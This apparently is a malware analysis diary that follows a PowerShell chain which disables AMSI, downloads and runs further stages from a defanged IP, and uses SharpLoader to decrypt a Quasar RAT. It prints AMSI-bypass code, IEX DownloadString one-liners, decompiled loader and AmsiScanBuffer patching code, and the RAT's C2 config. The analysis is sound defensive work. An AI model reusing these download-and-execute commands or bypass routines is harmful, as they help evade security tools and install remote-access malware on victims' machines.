SharpLoader is a very old project! I found repositories on Gitlab that are 8 years old[1]! Its purpose is to load and uncompress a C# payload from a remote web server or a local file to execute it. There exists also a Powershell version of this loader[2].
I found a Powershell script almost undetected by antiviruses (its VT score is 1/60[3]). First, it implements the classic technique to disable AMSI:
function InvokeAMSBP { param ( [int]$Length = 10 ) $randomName = -join ((65..90) + (97..122) | Get-Random -Count $Length | % { [char]$_ }) if (-not ([System.Management.Automation.PSTypeName]"BP.AMS").Type) { $byteArray = (121,12,210,23,62,52,86,66, ...removed... ,86,66,23,61,52,86,66,23,61,52,86,66,23,61,52,86,66,23,61,52) $KeyArray = @(52, 86, 66, 23, 61) $keyposition = 0 for ($i = 0; $i -lt $byteArray.count; $i++) { $byteArray[$i] = $byteArray[$i] -bxor $KeyArray[$keyposition] $keyposition += 1 if ($keyposition -eq $keyArray.Length) { $keyposition = 0 } } [Reflection.Assembly]::Load([byte[]]$byteArray) | Out-Null Write-Output "DLL has been reflected" } [BP.AMS]::Disable() Write-Output "READY 2 SHELL: AMSI PATCHED RANDOMENAME: $randomName" } InvokeAMSBP
This technique is widespread and easy to implement[4].
Then, the script downloads and executes a second PowerShell payload:
$uri = 'hxxp://5[.]206[.]224[.]58/MGQ3YTFjZDVkMjI5OTEzMj/uploads/STAGERS/stager_SC_Loader_rat.ps1' $str = "IEX ((new-object net.webclient).downloadstring('$uri'))"
The second stage script calls another one:
(New-Object Net.WebClient).DownloadString('hxxp://5[.]206[.]224[.]58/MGQ3YTFjZDVkMjI5OTEzMj/cat/MODULS/SC_Loader_rat0.ps1') | IEX
Note that all scripts implement the same technique to bypass AMSI.
And another is one is executed. This one is more interesting because it contains the SharpLoader:
[Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEA ...removed... AAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null [SharpLoader.Program]::Main(" hxxp://5[.]206[.]224[.]58/MGQ3YTFjZDVkMjI5OTEzMj/cat/RESURCE/Client-built0.enc", "EnotPoloSkuNp0loSkal3vOyp1SUn")
You can see an interesting Base64-encoded payload starting with "TVqQAAM". This reveals the presence of an executable, our loader, probably. This version is a DLL and has been written in .Net (SHA256:021e91b78ccb0ed543aa36fb607c92634cb6054fc63048f7de66ab825b1a38c2)[5].
Let's try to decompile it. Good news, it's not obfuscated:
root@remnux:/MalwareZoo/20231116# ilspycmd sharploader.dll using System; using System.Collections.Generic; using System.IO; using System.IO.Compression; using System.Linq; using System.Net; using System.Reflection; ...
Most of the code remains the same compared to the older version of the loader, but there are some improvements. Here again, AMSI is bypassed. The technique used here is to hook the function AmsiScanBuffer(). Basically, it will always return "S_OK" meaning that the code is not malicious.
private static void gofor(byte[] patch) { try { string str = "am"; string str2 = "si"; string str3 = ".dll"; IntPtr hModule = Win32.LoadLibrary(str + str2 + str3); string str4 = "Am"; string str5 = "siScan"; string str6 = "Buffer"; IntPtr procAddress = Win32.GetProcAddress(hModule, str4 + str5 + str6); Win32.VirtualProtect(procAddress, (UIntPtr)(ulong)patch.Length, 64u, out var _); Marshal.Copy(patch, 0, procAddress, patch.Length); } catch (Exception ex) { Console.WriteLine(" [x] {0}", (object)ex.Message); Console.WriteLine(" [x] {0}", (object)ex.InnerException); } }
Here is the main() function called from the last PowerShell script (see above). It expects two parameters: The C# payload and the encryption password.
public static void Main(params string[] args)
{
PrintBanner();
if (args.Length != 2)
{
Console.WriteLine("Parameters missing");
}
string text = args[0];
string value = "http";
string encodedData;
if (text.StartsWith(value))
{
Console.Write("[*] One moment while getting our file from URL.... ");
encodedData = Get_Stage2(text);
}
else
{
Console.WriteLine("NO URL, loading from disk.");
Console.Write("[*] One moment while getting our file from disk.... ");
encodedData = Get_Stage2disk(text);
}
Console.WriteLine("-> Done");
Console.WriteLine();
Console.Write("[*] Decrypting file in memory... > ");
string s = args[1];
Console.WriteLine();
byte[] data = Base64_Decode(encodedData);
byte[] bytesToBeDecrypted = Decompress(data);
byte[] bytes = Encoding.UTF8.GetBytes(s);
bytes = ((HashAlgorithm)SHA256.Create()).ComputeHash(bytes);
byte[] array = AES_Decrypt(bytesToBeDecrypted, bytes);
int num = 4;
byte[] array2 = new byte[array.Length - num];
for (int i = num; i < array.Length; i++)
{
array2[i - num] = array[i];
}
object[] commands = Enumerable.ToArray<string>(Enumerable.Skip<string>((IEnumerable<string>)args, 2));
loadAssembly(array2, commands);
}
This code is easy to understand, but there is some "magic" to decrypt the payload. You can see a call to a function AES_Decrypt(). It expects the Base64 decoded and decompressed payload (bytesToBeDecrypted) and the SHA256 hash of the password. The function name makes us guess that AES will be used. This encryption algorithm requires a key and an IV ("Initialization Vector"). They are extracted from the password hash. It happens in the AES_Decrypt() function:
using MemoryStream memoryStream = new MemoryStream(); RijndaelManaged val = new RijndaelManaged(); ((SymmetricAlgorithm)val).set_KeySize(256); ((SymmetricAlgorithm)val).set_BlockSize(128); Rfc2898DeriveBytes val2 = new Rfc2898DeriveBytes(passwordBytes, array, 1000); ((SymmetricAlgorithm)val).set_Key(((DeriveBytes)val2).GetBytes(((SymmetricAlgorithm)val).get_KeySize() / 8)); ((SymmetricAlgorithm)val).set_IV(((DeriveBytes)val2).GetBytes(((SymmetricAlgorithm)val).get_BlockSize() / 8)); ((SymmetricAlgorithm)val).set_Mode((CipherMode)1); CryptoStream val3 = new CryptoStream((Stream)memoryStream, ((SymmetricAlgorithm)val).CreateDecryptor(), (CryptoStreamMode)1);
The class Rfc2898DeriveBytes[6] derives the key and IV from the provided password. Because we have a SHA256 hash, the derived bytes will be:
85c7f5084dce0f648d9060a1c4d0889ae54c72a2da7164256746c144799665389728205de71082e2ae83cc26c01f5420
The first 64 characters (in red) are the AES key, and the remaining 32 (in green) are the IV. This can be simulated in Cyberchef:
The passphrase is the SHA256 hash of the password. Other parameters are found in the code (the salt and iterations). The key size is 256 + 128.
We can now decrypt the payload using another CyberChef recipe:
Now, we have a valid PE file that the DLL will execute. Note the last trick the attacker uses to defeat simple filters looking for "MZ" in the first bytes of the file. The payload has four extra bytes skipped using a loop in the code.
The PE file is a Quasar RAT (SHA256:caf572b1ea51e044b92d1e37c6ee9f8bf4dd178cf6c71cff5a3527c7870a397b)[7]. Here is the extracted config:
{ "c2": [ "193[.]161[.]193[.]99:58530" ], "attr": { "startup_key": "Quasar Client Startup", "install_name": "Client.exe", "subdirectory": "SubDir", "log_directory": "Logs", "encryption_key": "3A62B341BAB9ECBB32B7C8FEE43F79FE46244413", "reconnect_delay": 3000 }, "rule": "Quasar", "mutex": [ "54af0e48-5a33-4746-8a98-01dcf13783ba" ], "botnet": "Office04", "family": "quasar", "version": "1.4.1" }
[1] https://github.com/Cn33liz/p0wnedLoader
[2] https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader/tree/master
[3] https://www.virustotal.com/gui/file/f2b12ede4624763140aefc4e8db65b812a580b8d9f9bb826c9a2d9a36d0b60c2/detection
[4] https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
[5] https://www.virustotal.com/gui/file/021e91b78ccb0ed543aa36fb607c92634cb6054fc63048f7de66ab825b1a38c2
[6] https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.rfc2898derivebytes?view=net-7.0
[7] https://www.virustotal.com/gui/file/caf572b1ea51e044b92d1e37c6ee9f8bf4dd178cf6c71cff5a3527c7870a397b
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key